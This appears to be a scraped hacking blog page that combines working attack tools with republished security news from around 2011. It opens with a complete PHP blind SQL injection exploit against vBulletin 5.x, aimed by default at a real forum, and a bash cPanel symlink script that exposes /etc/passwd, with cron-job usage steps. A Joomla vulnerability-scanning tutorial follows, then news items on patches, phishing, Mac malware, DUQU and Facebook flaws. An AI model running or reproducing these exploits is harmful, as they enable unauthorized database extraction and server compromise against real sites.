vBulletin 5.x Remote Code Execution Exploit

<?php

/*
    Author: Nytro
    Powered by: Romanian Security Team
    Price: Free. Educational.
*/


error_reporting(E_ALL);
ini_set('display_errors', 1);


// Get arguments


$target_url = isset($argv[1]) ? $argv[1] : 'https://rstforums.com/v5';
$expression = str_replace('/', '\\/', $target_url);


// Function to send a POST request


function httpPost($url,$params)
{
    $ch = curl_init($url);


    curl_setopt($ch, CURLOPT_URL,$url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
    curl_setopt($ch, CURLOPT_HEADER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $params);
   
    curl_setopt($ch, CURLOPT_HTTPHEADER, array(
        'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:30.0) Gecko/20100101 Firefox/30.0',
        'Accept: application/json, text/javascript, */*; q=0.01',
        'X-Requested-With: XMLHttpRequest',
        'Referer: https://rstforums.com/v5/memberlist',
        'Accept-Language: en-US,en;q=0.5',
        'Cookie: bb_lastvisit=1400483408; bb_lastactivity=0;'
     ));


    $output = curl_exec($ch);
   
    if($output == FALSE) print htmlspecialchars(curl_error($ch));


    curl_close($ch);
    return $output;
}


// Function to get string between two other strings


function get_string_between($string, $start, $end)
{
    $string = " ".$string;
    $ini = strpos($string,$start);
    if ($ini == 0) return "";
    $ini += strlen($start);
    $len = strpos($string,$end,$ini) - $ini;
    return substr($string,$ini,$len);
}


// Get version


print "\r\nvBulletin 5.x Remote Code Execution Exploit\r\n\r\n";
print "Version: ";


$result = httpPost($target_url . '/ajax/render/memberlist_items',
        'criteria[perpage]=10&criteria[startswith]="+OR+SUBSTR(user.username,1,1)=SUBSTR(version(),1  ,1)--+"+' .
        '&criteria[sortfield]=username&criteria[sortorder]=asc&securitytoken=guest');


$letter = 1;


while(strpos($result, 'No Users Matched Your Query') == false)
{
    $exploded = explode('<span class=\"h-left\">\r\n\t\t\t\t\t\t\t\t\t<a href=\"' . $expression . '\/member\/', $result);


    $username = get_string_between($exploded[1], '">', '<\/a>');
    print $username[0];
   
    $letter++;
    $result = httpPost($target_url . '/ajax/render/memberlist_items',
            'criteria[perpage]=10&criteria[startswith]="+OR+SUBSTR(user.username,1,1)=SUBSTR(version(  ),' . $letter . ',1)--+"+' .
            '&criteria[sortfield]=username&criteria[sortorder]=asc&securitytoken=guest');
}


// Get user


print "\r\nUser: ";


$result = httpPost($target_url . '/ajax/render/memberlist_items',
        'criteria[perpage]=10&criteria[startswith]="+OR+SUBSTR(user.username,1,1)=SUBSTR(user(),1  ,1)--+"+' .
        '&criteria[sortfield]=username&criteria[sortorder]=asc&securitytoken=guest');


$letter = 1;


while(strpos($result, 'No Users Matched Your Query') == false)
{
    $exploded = explode('<span class=\"h-left\">\r\n\t\t\t\t\t\t\t\t\t<a href=\"' . $expression . '\/member\/', $result);


    $username = get_string_between($exploded[1], '">', '<\/a>');
    print $username[0];


    $letter++;
    $result = httpPost($target_url . '/ajax/render/memberlist_items',
            'criteria[perpage]=10&criteria[startswith]="+OR+SUBSTR(user.username,1,1)=SUBSTR(user(),' . $letter . ',1)--+"+' .
            '&criteria[sortfield]=username&criteria[sortorder]=asc&securitytoken=guest');
}


// Get database


print "\r\nDatabase: ";


$result = httpPost($target_url . '/ajax/render/memberlist_items',
        'criteria[perpage]=10&criteria[startswith]="+OR+SUBSTR(user.username,1,1)=SUBSTR(database(),  1,1)--+"+' .
        '&criteria[sortfield]=username&criteria[sortorder]=asc&securitytoken=guest');


$letter = 1;


while(strpos($result, 'No Users Matched Your Query') == false)
{
    $exploded = explode('<span class=\"h-left\">\r\n\t\t\t\t\t\t\t\t\t<a href=\"' . $expression . '\/member\/', $result);


    $username = get_string_between($exploded[1], '">', '<\/a>');
    print $username[0];


    $letter++;
    $result = httpPost($target_url . '/ajax/render/memberlist_items',
            'criteria[perpage]=10&criteria[startswith]="+OR+SUBSTR(user.username,1,1)=SUBSTR(database(),  ' . $letter . ',1)--+"+' .
            '&criteria[sortfield]=username&criteria[sortorder]=asc&securitytoken=guest');
}


print "\r\n"


?>

Sumber  Read More...

CPanel Symlink Bypasser

#!/bin/bash

# ______ __ ____ ___

# / ____/___ ____ _____ ___ / / / __ )__ ______ ____ ______________ _____ _ _< /

# / / / __ \/ __ `/ __ \/ _ \/ / / __ / / / / __ \/ __ `/ ___/ ___/ _ \/ ___/ | | / / /

# / /___/ /_/ / /_/ / / / / __/ / / /_/ / /_/ / /_/ / /_/ (__ |__ ) __/ / | |/ / /

# \____/ .___/\__,_/_/ /_/\___/_/ /_____/\__, / .___/\__,_/____/____/\___/_/ |___/_/

# /_/ /____/_/

############################################

# CPanel Symlink Bypasser [Public Version] #

# By Hannibal Ksa (@r00t3rz) & R3m0t3 Nu11 #

# alm3refh.com © Group XP 2014 #

############################################

#

# USAGE:

# 1. UPLOAD ME IN /home/user as Cpbypass.sh

# 2. GO TO CRON JOB

# 3. ADD THIS COMMAND:

# echo "Alm3refh bypass" ~| bash Cpbypass.sh -s "Alm3refh bypass" -- email@gmail.com

#

# email@gmail.com = your email

#

#

# THE FILE WILL SHOW YOU HOW TO SEE/DOWNLOAD YOUR SYMLINK!

# PS: ENJOY!

#

#

##########

# FILE #

##########

SYM="/etc/passwd"

########

echo ""

echo " ______ __ ____ ___"

echo " / ____/___ ____ _____ ___ / / / __ \)__ ______ ____ ______________ _____ _ _< /"

echo " / / / __ \/ __ \`/ __ \/ _ \/ / / __ / / / / __ \/ __ \`/ ___/ ___/ _ \/ ___/ | | / / / "

echo " / /___/ /_/ / /_/ / / / / __/ / / /_/ / /_/ / /_/ / /_/ (__ |__ ) __/ / | |/ / / "

echo " \____/ .___/\__,_/_/ /_/\___/_/ /_____/\__, / .___/\__,_/____/____/\___/_/ |___/_/ "

echo " /_/ /____/_/ "

echo " CPanel Symlink Bypasser [Public Version]"

echo " By Hannibal Ksa & R3m0t3 Nu11"

echo ""

echo ""

########

rand=bypass$(( $RANDOM % 10 + 100 ));

###

# 1st 3xpl017

###

ln -sf $SYM tmp/analog/$rand.html

echo ""

echo "1st Bypass:"

echo ""

echo "GO TO: https://yourbitch:2083/cpsession/tmp/user/analog/$rand.html"

echo "yourbitch=the cpanel url"

echo "cpsession=your cpanel session"

echo "cpsession=cpanel user"

echo ""

###

# 2nd 3xpl017

###

ln -sf $SYM tmp/webalizer/$rand.html

echo ""

echo "2nd Bypass:"

echo ""

echo "GO TO: https://yourbitch:2083/cpsession/tmp/user/webalizer/$rand.html"

echo "yourbitch=the cpanel url"

echo "cpsession=your cpanel session"

echo "cpsession=cpanel user"

echo ""

###

# 3rd 3xpl017

###

ln -sf $SYM tmp/webalizerftp/$rand.html

echo ""

echo "3rd Bypass:"

echo ""

echo "GO TO: https://yourbitch:2083/cpsession/tmp/user/webalizerftp/$rand.html"

echo "yourbitch=the cpanel url"

echo "cpsession=your cpanel session"

echo "cpsession=cpanel user"

echo ""

###

# 4th 3xpl017

###

ln -sf $SYM logs/$rand.doc

echo ""

echo "4th Bypass:"

echo ""

echo "GO TO: https://yourbitch:2083/cpsession/frontend/x3/raw/index.html"

echo "yourbitch=the cpanel url"

echo "cpsession=your cpanel session"

echo ""

echo "THEN SCROLL DOWN 'TIL YOU SEE bypass.doc AND DOWNLOAD IT!"

echo ""

# DONE of the public version!

# E0F

Sumber 

Read More...

Tutorial Joomla Web Scanner 1.7

Assalamu'alaikum dan salam sejahtera buat kita semua

sudah lama tidak update blog

oke langsung saja,,kali ini ane akan memberikan sedikit maenan buat tmen2 semua

sesuai dengan judulnya "Joomla Web Scanner 1.7"

dengan melihat judulnya saja,pasti temen-temen sudah pada ngerti tools ini buat apa

CEKIDOT !!!

1. download dulu toolsnya Joomla-Scan

2. setelah di download mari kita extract file tersebut

3. kemudian kita akan menjalankan proses scanning target

pertama-tama kita lihat dulu command untuk tool ini

ketikkan = ./joomlascan/pl help

nantinya akan keluar seperti ini

Usage:  ./joomlascan.pl -u <joomla_url> [options]

    == Options ==
      -p <string:int>  = proxy:port
      -a               = Admin folder (default '/administration')
      -v               = Check version
      -c               = Check components
      -f               = Check firewall
      -co              = Check bugs in core (require -v)
      -cm              = Check bugs in components (require -c)
      -all             = Check all (default)
      -ot              = Output to text file
      -oh              = Output to html file
      -update          = Search for updates
      -force-update    = Force to download updates
      -about           = About joomlascan
      -version         = Print version info
      -h, -help        = This help

    == Examples ==
      To scan running joomla version and components:
         $./joomlascan.pl -u www.host.com -v -c

      To scan version and core bugs:
         $./joomlascan.pl -u www.host.com -v -co

4. saatnya beraksi dengan mengetik command berikut ini

./joomlascan.pl -u www.target.com -v -co

tunggu sampai selesai proses scanning,,ngerokok dulu mas bro

setelah selesai akan seperti ini hasilnya

mungkin segitu dulu tutor cupu dari ane

semoga bermanfaat bagi kita semua

akhir kata dari ane,,wassalam Read More...

Apple's iOS 5.0.1 is out - should you upgrade?

Apple's latest iOS update is out.

The new version bumps iOS5 up to 5.0.1, and is Apple's first OTA update.

OTA stands for "over-the-air", and means that you can download and apply the update directly from your iDevice.
You no longer need to download the entire firmware file to your computer - including yet another copy of everything which hasn't changed in iOS - and push it to your device.
(OTA updating isn't yet mandatory. If you prefer to keep full copies of each iOS firmware distro, you can still use the download-and-install-with-iTunes method.)

According to Apple, the highlights of the 5.0.1 update are that it:
* fixes bugs affecting battery life,
* adds Multitasking Gestures for the original iPad,
* resolves bugs with Documents in the Cloud, and
* improves voice recognition for Australian users using dictation.

Strewth! That last one's a bonzer boost for blokes and sheilas everywhere! Gives an Aussie something worth lifting a tinnie to after the Baggy Green got such a big hiding from the South Africans in the cricket!

Importantly, 5.0.1 also fixes a number of security flaws, including a remote code execution (RCE) vulnerability involving font handling, found by Erling Ellingsen of Facebook. RCE means that a cybercriminal might be able to trick your device into running software without asking you, even if you're just browsing the internet.

Interestingly, Charlie Miller's recent and controversial App Store hole has also been patched. Miller showed how to write an innocent-looking App which, once approved by Apple, could fetch and run unapproved software.

Miller was unceremoniously banned from the Apple Developer scene for at least a year; there's no word from Apple, however, on whether he'll be readmitted now the hole is fixed.

Jailbreakers will be pleased to note that devices suitable for running a jailbroken iOS5 - a list which sadly still excludes the iPhone 4GS and the iPad 2 - can happily run a jailbroken iOS5.0.1.

If you are a jailbreaker, however, note that there is not yet any way to go back to iOS5.0 once you've moved on to 5.0.1.
That means that you'll never be able to use Charlie Miller's code-signing vulnerability for jailbreaking purposes in the future, for example if an iPad 2 jailbreak appears which relies on it.

And that leaves us with one question: should you update?
Some reports suggest that 5.0.1 brings with it a raft of new problems, and that the update might not, after all, fix your battery issues.

But these complaints are still anecdotal and unscientific, so if you trust Apple and you're not into jailbreaking, I'd suggest updating to 5.0.1 as soon as you conveniently can.

Ellingsen's and Miller's vulnerabilities may not have made it to Apple's highlights list, but each of these bugs on its own can be considered sufficiently important to warrant a prompt update.

Read More...

Anonymous and LulzSec trawl Google Code search for security holes

Exotically named hacking tools such as Low Orbit Ion Cannon and #RefRef have garnered plenty of headlines over the last few months but a new report suggests that the world's favourite search engine might be an equally important weapon in the arsenal of cyber-criminals and hacktivists.

The report explains how a simple search on Google Code is all that's needed to uncover a wealth of information that can be used to break into websites, cloud-based services and secure networks.

Google's Code Search is a tool that makes it easy for those with technical know-how to search the vast amount of computer code that is publicly available online.

Researchers from IT security consultancy Stach & Lui report that hacking groups such as Anonymous and LulzSec are using Google Code search for a number of nefarious activities.

With a few well-crafted searches they can uncover passwords for cloud services, configuration files for Virtual Private Networks and find code  that is vulnerable to common website hacking tactics such as SQL injection.

While the findings provide a much-needed wake up call to online businesses, admins and developers, they also offer a fascinating insight into the motivation of hacking collectives such as Anonymous and LulzSec.

According to Stach & Lui ‘Google Hacking’, as the technique is known, is believed to be Anonymous and LulzSec’s primary means of identifying potential targets.
Rather than being motivated by politics or injustice, hacking groups may simply be targeting organisations because Google Code search has turned up a vulnerability too tempting to ignore, making them less political action groups, more malicious 21st century Wombles.

So what can online businesses do to protect themselves from these online, evil Uncle Bulgarias?

The first line of defence is to make sure that developers are following established best practice and that executives are creating a culture where best practice is encouraged and supported. Including passwords in code has always been a bad idea and techniques to prevent and detect SQL injection vulnerabilities are well established.

Businesses should also prepare so that if they are successfully attacked after a data leak they don't lose their shirt. Data stored in the cloud can be rendered useless to attackers by the simple expedient of encrypting it.

Stach & Lui warn that in the businesses using cloud services should also take a close look at the small print; many cloud service providers state that they don't accept responsibility for leaks.

For more on this take a look at the Stach & Lui's Pulp Google Hacking presentation.

Read More...

Adobe says goodbye to Flash for mobile platforms

Adobe product management team has sent a briefing to Adobe's partners describing the future direction of the development for multi-platform mobile application development tools.

From the security point of view, the biggest and the most welcome news is the announcement of the end of the development of Adobe Flash player for mobile platforms, except for critical security and bug fixes.

Unfortunately, even if the death of Flash for mobile platforms is imminent, Flash for desktop platforms is still very much alive. Adobe Flash vulnerabilities, together with Java virtual machine and Adobe Reader vulnerabilities, have been the most common causes for drive-by download malware infections.

It is yet uncertain what is the future of Flash on desktop, but let us hope that the widespread acceptance of HTML5 will drive Adobe in the right direction of killing Flash players on all remaining platforms.

The move comes after a pressure by iPhone and iPad users which have been frustrated by not being able to access websites built in Flash since Apple announced its decision to exclude Flash support from iOS based devices.
Was Steve Jobs right about Flash after all?

Read More...

Adobe, Apple, Microsoft & Mozilla Issue Critical Patches

Adobe, Apple, Microsoft and Mozilla all released updates on Tuesday to fix critical security flaws in their products. Adobe issued a patch that corrects four vulnerabilities in Shockwave Player, while Redmond pushed updates to address four Windows flaws. Apple slipped out an update that mends at least 17 security holes in its version of Java, and Mozilla issued yet another major Firefox release, Firefox 8.

The only “critical” patch from Microsoft this month is a dangerous Windows flaw that could be triggered remotely to install malicious software just by sending the target system specially crafted packets of data. Microsoft says this vulnerability may be difficult to reliably exploit, but it should be patched immediately. Information on the other three flaws fixed this week is here. The fixes are available via Windows Updates for most supported versions of the operating system, including XP, Vista and Windows 7.


Adobe’s Shockwave update also fixes critical flaws, but users should check to see if they have this program installed before trying to update it. To test whether you have Shockwave installed, visit this page; if you see an animation, it’s time to update. If you see a prompt to install Shockwave, there is no need to install it. Mozilla Firefox users without Shockwave Player installed may still see “Shockwave Flash” listed in the “Plugins” directory of the browser; this merely indicates that the user has Adobe’s Flash Player installed.

The vulnerabilities fixed by this update exist in versions of Shockwave 11.6.1.629 and earlier. The latest version, v. 11.6.3.633, is available here.  As I noted earlier this year, I haven’t had Shockwave on my system for some time now and don’t seem to have missed it. I’m sure it has its uses, but to me Shockwave is just another Adobe program that requires constant care and feeding. What’s more, like Adobe’s Flash Player, Shockwave demands two separate installation procedures for IE and non-IE browsers.

Hat tip to the SANS Internet Storm Center for the heads up on the Java fix from Apple. This update, available via Software Update or Apple Downloads, essentially brings Snow Leopard and Lion up to date with the Oracle patches released last month in Java 6 Update 29 (Apple maintains its own version of Java).

If you use Mozilla Firefox or Thunderbird, you may have noticed that Mozilla is pushing out another major upgrade that includes critical fixes to these programs; both have now been updated to version 8. If you’re still running Firefox version 3.6.x, Mozilla has updated that to 3.6.24 (if anyone can help decipher Mozilla’s timeline for exactly how long it will continue to support this workhorse version of Firefox, please drop a line in the comments below). Perhaps I’m becoming a curmudgeon, but I’m growing weary of the incessant update prompts from Firefox. It seems that almost every time I start it up it’s asking to restart the browser or to remove plugins that no longer work with the latest version. I’ve been gradually transitioning more of my work over to Google Chrome, which seems faster and updates the browser and any installed plugins silently (and frequently patches oft-targeted plugins like Flash Player even before Adobe officially releases the update). Read More...

Apple Bans Security Researcher Charlie Miller For Exposing iOS Exploit

The latest wave in the infosec world is that Apple has banned the well known security researcher – Charlie Miller – from it’s developer program for exposing a new iOS exploit.

It’s not really the smartest move as I’m pretty sure anyone as smart as Charlie Miller still has plenty of options – use another person’s account, sign up another account with a different identity, hack the phone without the developer program access and so on..

Really it’s quite a harsh move from Apple and it’s not going to make them any friends in the security industry.

Apple has banned well-known security researcher Charlie Miller from its developer program, for creating an apparently benign iOS app that was actually designed to exploit a security flaw he had uncovered in the firmware.

Within hours of talking about the exploit with Forbes’ security reporter Andy Greenberg, who published the details, Miller received an email from Apple: “This letter serves as notice of termination of the iOS Developer Program License Agreement … between you and Apple. Effective immediately.”

Based on Greenberg’s follow-up story, Apple was clearly within its rights to do so. Miller created a proof-of-concept application to demonstrate the security flaw and how it could be exploited by malicious code. He then hid it inside an apparently legitimate stock ticker program, an action that, according to Apple, “violated the developer agreement that forbid[s] him to ‘hide, misrepresent or obscure’ any part of his app,” Greenberg wrote.

He quoted Miller, who works for security consultancy Acuvant, “I’m mad. I report bugs to them all the time. Being part of the developer program helps me do that. They’re hurting themselves, and making my life harder.”

In a way though, you have to agree that Miller did violate the very specific developer program agreement by hiding the PoC inside a legitimate application. That probably wasn’t his smartest idea, but then again it’s helping Apple and he’s not doing it in a malicious way to infect people – he’s doing it as a security researcher.

Apple should be more proactive on working with people like this, people who are actually fixing bugs in their products for free and improving the user experience.

It’s the way Apple operates though, secretive, exclusive, domineering etc. If you don’t do things their way, screw you.


Miller, a former National Security Agency staffer, is a well-known “white hat” hacker (he made Network World’s recent list of “Security All Stars”), with expertise in Apple’s Mac OS X and iOS platforms, including the Safari browser, and in Android. Miller “has found and reported dozens of bugs to Apple in the last few years,” Greenberg noted. Miller reported the latest one barely three weeks ago, and it was Greenberg’s public account of it yesterday, in advance of a planned public presentation by Miller next week, that got the researcher kicked out of the developer program.

The vulnerability is a fascinating exercise in information security sleuthing. Miller uncovered a flaw introduced in Apple’s restrictions on code signing on iOS devices. Code signing is a process by which only Apple-approved commands run in device memory, according to Greenberg’s account.

Miller began to suspect a flaw when Apple released iOS 4.3 in March. He realized that to boost the speed of the mobile Safari browser, Apple for the first time had allowed javascript code from a website to run at a deeper level in memory. This entailed creating a security exception, allowing the browser to run unapproved code. According to Greenberg’s story, Apple created other security restrictions to block untrusted websites from exploiting this exception, so that only the browser could make use of it.

Miller wasn’t the only one to notice that Apple had done something different with Safari in iOS 4.3, but many didn’t understand what was actually happening. Various news sites and bloggers claimed that Web apps running outside of Safari, and its new Nitro javascript engine, were slower. Some suggested that Apple was deliberately slowing them down to make Web apps less attractive than native ones.

The way in which Miller uncovered the flaw once again shows his technical brilliance – something which Apple really should be harnessing rather than turning away.

A lot of people noticed changes with iOS 4.3, but couldn’t actually figure out what was going on. Well that’s what we know in the public realm anyway, no doubt the bad guys had their eyes on it and were digging in with much more malicious exploits.

It basically seems like a way to bypass any kind of code validation by Apple and execute arbitrary code from an attack server – dangerous indeed. Read More...

Fresh Phish disguised as a PayPal Urgent Account Review Notification

While browsing the web this evening waiting for thotcon 0x3 general admission tickets to go on sale, my wife's spidey senses were tingling when she asked me, "Is this a scam?"

Turning towards her monitor I see she has an email open inside her webmail account. The email has a pretty good sense of urgency written into it that compels the reader to follow the instructions provided and protect their information.

It begins:

"As of the 3rd of November 2011, our security system has blocked unusual charges to a credit card linked to your account."

And concludes:

"Sincerely, PayPal Account Review Team"

Unfortunately, the average person who does not read Naked Security might easily be duped of their PII (Personally Identifiable Information).

Phishing scams are nothing new. Hopefully, if people stopped falling for them, then perhaps the phishing scams might stop?
It really comes down to education and great protection (for when education fails).
The home use version of Sophos Endpoint Security and Control did a fantastic job of catching the attack as Mal/Phish-A.

The home use version is available to Sophos customer's employees. Check with your employer if the home use program is available at your organization before installing Sophos software willy nilly.

I spoke earlier in the week with a security professional who sent 500 spear phishing attacks internally to his colleagues. Of the 500 emails sent, 25 people responded by completing the form and surrendering their information.
While a 5% rate may seem small, he felt even 1% was too high. Education helped a lot, but not completely. Do you agree?
When read, this fresh phish posing as PayPal immediately puts the recipient into an emotional state that their account was compromised and their funds are in jeopardy which then clouds their judgement.

Since PayPal is a trusted name in the electronic payments industry, they of course have controls to prevent fraudulent transactions (but no one is perfect). This phish takes advantage of that trust by explaining that the breached account has been locked for your protection.

Now to regain access to your funds it's imperative to download the attachment and complete the form.

After downloading and opening the attachment it will open your web browser. As you can see, this web page looks very genuine and might lower your guard into believing it really came from PayPal.


There are a few mistakes in this poorly executed phish which caused education to prevail over emotion.

The most basic one is that there isn't a PayPal email address associated with the inbox which received this phish.

Another one to point out is that the (From: "PayPal") is really not from PayPal.
The phisher used a domain name pp-redacted-.com which based on a whois look up doesn't have anything to do with PayPal. It belongs to an instrumentation company out of Massachusetts that happens to have similar initials as PayPal.
While my wife isn't a security professional or an expert with computers, her education to not trust every email in her inbox (beyond spam) triggered a gut feeling to think more clearly.

If it doesn't feel right, then it's not. Go with your gut!
Until next time, stay safe and secure online.

Read More...

New Mac Malware Variants Found in Trojaned Apps Are Stealing Data

Researchers have discovered a series of variants of the DevilRobber Mac OS X Trojan that have a menu of different capabilities, depending upon the strain, and can not only mine Bitcoins using the infected machine's processing power, but also steals files, installs a Web proxy and may steal the user's Safari browsing history.

The new variants of DevilRobber, which has been making the rounds recently, appear to each have a different set of capabilities because they may have each been built for specific jobs, according to an analysis of the malware by researchers at F-Secure. Some of the variants appear to be looking for specific pornographic files on infected Macs and steals passwords from the machine in order to access any files that may be protected. All of the variants of DevilRobber have the ability to take data from the machine and upload it to a remote server.
The new variants were discovered in legitimate Mac applications that had been Trojaned and then shared on Pirate Bay.

"The specific port used by the web proxy depends on the variant. The specific FTP server for data stealing also varies between samples. And DevilRobber's data stealing routine is repeated on a fixed interval — every 43200, 60000, or 100000 seconds, depending on the sample," F-Secure says in its analysis.

Mac malware has been making some headlines in the last few months, as attackers have begun applying to OS X some of the tactics they've been using on Windows for decades. In September, a Trojan called Imuler was found packed inside malicious PDFs, a trick that attackers have been using to get their malware into the hands of users for years now. And earlier in the year the MacDefender malware made a big splash as the first Mac-specific rogue antivirus program to emerge.

Apple is beginning to take some steps to address the threats facing its users, including the announcement this week that all apps submitted to the Mac App Store will have to have a sandbox by March 2012.

Read More...

Zero-Day Exploit Used for DUQU

We have been closely monitoring developments on the DUQU malware since our initial blog post when the threat broke the news. And just recently, the Hungary-based security laboratory that initially reported about DUQU released more information that sheds more light into the nature of the said threat.

Their report indicates that a Microsoft Word document that triggers a zero-day kernel exploit was identified as the dropper for DUQU. Upon successful exploitation, the Microsoft Word file drops the installer files that load the DUQU components that were initially reported a couple of weeks back.

The installer files are composed of a .SYS file detected as RTKT_DUQU.B, and a .DLL file detected as TROJ_DUQU.B. RTKT_DUQU.B loads TROJ_DUQU.B into the system. TROJ_DUQU.B, on the other hand, drops and decrypts the DUQU components, RTKT_DUQU.A, TROJ_DUQU.ENC, and TROJ_DUQU.CFG. Below is a simple behavior diagram of the threat.

Details regarding the zero-day exploit used have not yet been disclosed. However, Microsoft is expected to release information on it soon. As a member of the Microsoft Active Protections Program (MAPP), if Microsoft provides information on ways we can protect customers while a security patch is being developed, we will add these protections to our products as quickly as possible and update you with that information.


This new information allows us to have more educated theories of how the DUQU attack took place. Considering the usage of a Microsoft Word document, it is likely that this was initially deployed through email messages sent to employees in the targeted organization.This further verifies our earlier hypothesis that DUQU is part of a highly targeted attack aimed at exfiltrating information from targeted entities. For more information on DUQU and the nature of highly targeted attacks, please check the following reports:

• DUQU Uses STUXNET-Like Techniques to Conduct Information Theft
• Anatomy of a Data Breach

We have created the proactive detections of TROJ_DUQUCFG.SME and RTKT_DUQU.SME to address future variants of DUQU component files. Also, the Threat Discovery Appliance (TDA) protects enterprise networks by detecting network activity and the malwares’ connection to the C&C server through the rules 473 TCP_MALICIOUS_IP_CONN, 528 HTTP_Request_DUQU, and 529 HTTP_Request_DUQU2.

Update as of November 3, 2011, 8:30 PM PST

Microsoft released a security advisory regarding the vulnerability used by DUQU.
The vulnerability exists in the Win32k TrueType font parsing engine and allows elevation of privilege. According to the advisory, a successful exploitation can allow an attacker to run arbitrary code in kernel mode.
We are currently collecting more information about this, and will update this blog entry with our findings as soon as possible. Read More...

Facebook shrugs off alleged security flaw

Says the alleged attachment vulnerability poses no greater risk to users of the social networking site than that which webmail providers face

Facebook downplayed an alleged vulnerability in its social networking site that could allow a hacker to send a potentially malicious file to anyone on Facebook.

The issue concerns a Facebook feature that allows a user to send another user who is not their friend a message as well as an attachment. Facebook prohibits sending executable files, but a security penetration tester found a way to circumvent the filter.

[ Also on InfoWorld: Free cooling lures Facebook to Arctic's edge. | Stay ahead of the key tech business news with InfoWorld's Today's Headlines: First Look newsletter. ]

Nathan Power, who works for the technology consultancy CDW, wrote on his blog that Facebook parses part of a Post request to the server to see if the file being sent should be allowed.

If an executable is attached, Facebook warns that it can't be sent. But by modifying the Post request -- specifically with an extra space after the file name that is to be sent -- an executable could be attached. That poses a danger because it could allow a hacker to send, for instance, a keylogging program to another user in a kind of spear-phishing attach. The victim would then need to be convinced to open and run the file.

In a statement, Facebook's Security Manager Ryan McGeehan wrote that a successful attack would require "an additional layer of social engineering." It also only allows the attacker to send an obfuscated renamed file to another Facebook user one at a time.

Facebook doesn't rely solely on the identification of a file by what it purports to be in name to protect users but also does a security scan of files "so we have defense in depth for this sort of vector," McGeehan wrote. He also said that webmail providers face the same problem with malicious attachments and that "this finding is a very small part of how we protect against this threat overall."

"At the end of the day, it is more practical for a bad guy to hide an .exe on a convincing landing page behind a URL shortener, which is something we've been dealing with for a while," McGeehan wrote.

Power wrote Facebook was notified of the issue on Sept. 30 and the company acknowledged the issue on Wednesday. Read More...

Facebook Attachment Uploader Owned By A Space

Oh look – another vulnerability in Facebook! It wasn’t long ago we reported New Research Shows Facebook’s URL Scanner Is Vulnerable To Cloaking.

Well this time the private messaging function has been compromised, you can attach an executable and send it to anyone as long as you put a space after the filename.

It’s not the first time I’ve seen a mime/file/etc parser be owned by a space, but I expected better from Facebook to be honest.

A security penetration tester discovered a major flaw in Facebook that could allow a person to send anyone on the social-networking site malicious applications.

Nathan Power, a senior security penetration tester at technology consultancy CDW, discovered the vulnerability and publicly disclosed it Thursday on his blog. The flaw was reported to Facebook on Sept. 30, which acknowledged the issue on Wednesday, he wrote.

Power, who could not immediately be reached, wrote that Facebook does not normally allow a person to send an executable attachment using the “Message” tab. If you try to do that, it returns the message “Error Uploading: You cannot attach files of that type.”

Facebook has acknowledged the bug (which is a pretty serious one) but it’s unknown if they’ve actually fixed it yet or not.

You can see the original blog post outlining the vulnerability here:

Facebook Attach EXE Vulnerability

Good job Nathan Power!


Power wrote that an analysis of the browser’s “POST” request sent to Facebook’s servers showed that a variable called “filename” is parsed to see if a file should be allowed. But by simply by modifying the POST request with a space just after the file name, an executable could be attached to the message.

“This was enough to trick the parser and allow our executable file to be attached and sent in a message,” Power wrote.

A person would not have to be an approved friend of the sender, as Facebook allows people to send those who are not their friends messages. The danger is that a hacker could use social engineering techniques to coax someone to launched the attachment, which could potentially infect their computer with malicious software.

Facebook representatives contacted in London did not have an immediate response on Thursday afternoon.

The dangerous part I can see here is that Facebook allows users to send messages to anyone (with attachments) even if they are not friends. Which makes me wonder, how many random guys are sending girls they don’t know pictures of their junk as attachments on Faceobok messages…

I don’t want to know really.

Anyway this should be a fairly simple fix for Facebook and I’d imagine they have probably already fixed this or will be doing so fairly soon. Read More...

Windows Password Retrieval And Cracking [video]

 

Description: In one of (hopefully) many videos I will be creating highlighting the capabilities of Volatility, a free memory analysis tool.

This video shows grabbing the windows NTLM passwords from a memory dump and then using John the Ripper to crack them.

In other videos I hope to show using a memory dump to detect rootkits and badness on a system.
Read More...

Please Send me Your Facebook Anti-CSRF Token!

In the last few months we have seen a variety of spam campaigns propagating on social networking websites. Most of these attacks use some flavor of social engineering tactics. Every now and then, we see some innovative social engineering techniques used by attackers. Here is one such technique that tricks the victim into revealing their all-important Facebook Anti-CSRF token.

Cross-site Request Forgery attacks

A Cross-site Request Forgery (CSRF) is a type of attack in which attackers can re-use an already authenticated session to a website to perform unwanted actions on that website without the user’s knowledge or consent. For example, let’s say that a user is logged into his or her banking website. If this bank’s website suffers from a CSRF weakness, then another malicious website (say, bad.com) can instruct the user’s browser to navigate to the bank’s webpage to perform actions, such as transferring funds, without the user’s knowledge. For the browser and the bank’s website, it is equivalent to the user opening another tab and performing these actions themselves. Anti-CSRF tokens are one of the many ways employed by websites to prevent CSRF attacks.

Anti-CSRF tokens are usually one-time randomly generated tokens generated by the website. These tokens are submitted as hidden input parameters in Web forms. The tokens are validated at the back-end of the website to rule out any CSRF attacks underway when a form or action is posted. In order to generate a CSRF token, the attackers need to know or guess the Anti-CSRF token, which makes CSRF attacks hard to execute.

This blog details techniques used by the attacker to get access to this Anti-CSRF token. There are three stages to this attack

Stage 1 – Falling for the scam

It starts with an enticing message, like the one below, appearing in the user’s newsfeed from the user’s friend.




Stage 2 – Tricking the user to send their FaceBook Anti-CSRF token

Upon clicking this link, the user is directed to a fake YouTube Web page as shown below. In order to view the video, the user is prompted to verify their identity.
Step 1 of this verification process involves generating a verification code by clicking the Generate Code link. The next and final step is Copying and-pasting the code obtained in step 1 into the verification text box and clicking the Confirm button.



Let’s take a closer look at both of these steps. The following screenshot is the JavaScript snippet for this Web page.



The “Generate Code” link is actually a request to 0.facebook.com/ajax/dtsg.php. This request will return JavaScript code similar to the code shown in the screenshot below. Many browsers like Chrome and Firefox support “view Source URI scheme”. This means that any URL supplied with “view-source:” as the URI handler will open up the source code of that page. So clicking the “Generate Code” link will display the data (JavaScript) returned from the request to dtsg.php in a “View Source” browser window.



The user is then prompted to copy and paste this JavaScript code into the “Insert Verification Code” textbox and then click the Confirm box.

So what is so special about this JavaScript Code? The answer is the Anti-CSRF token called “fb_dtsg”. In order to prevent CSRF attacks, Facebook pages have a unique per session token called “fb_dtsg”. The request to “facebook.com/ajax/dtsg.php” returns JavaScript code containing the “fb_dtsg” token.

The attacker is tricking the victim into revealing his or her Facebook Anti-CSRF token.



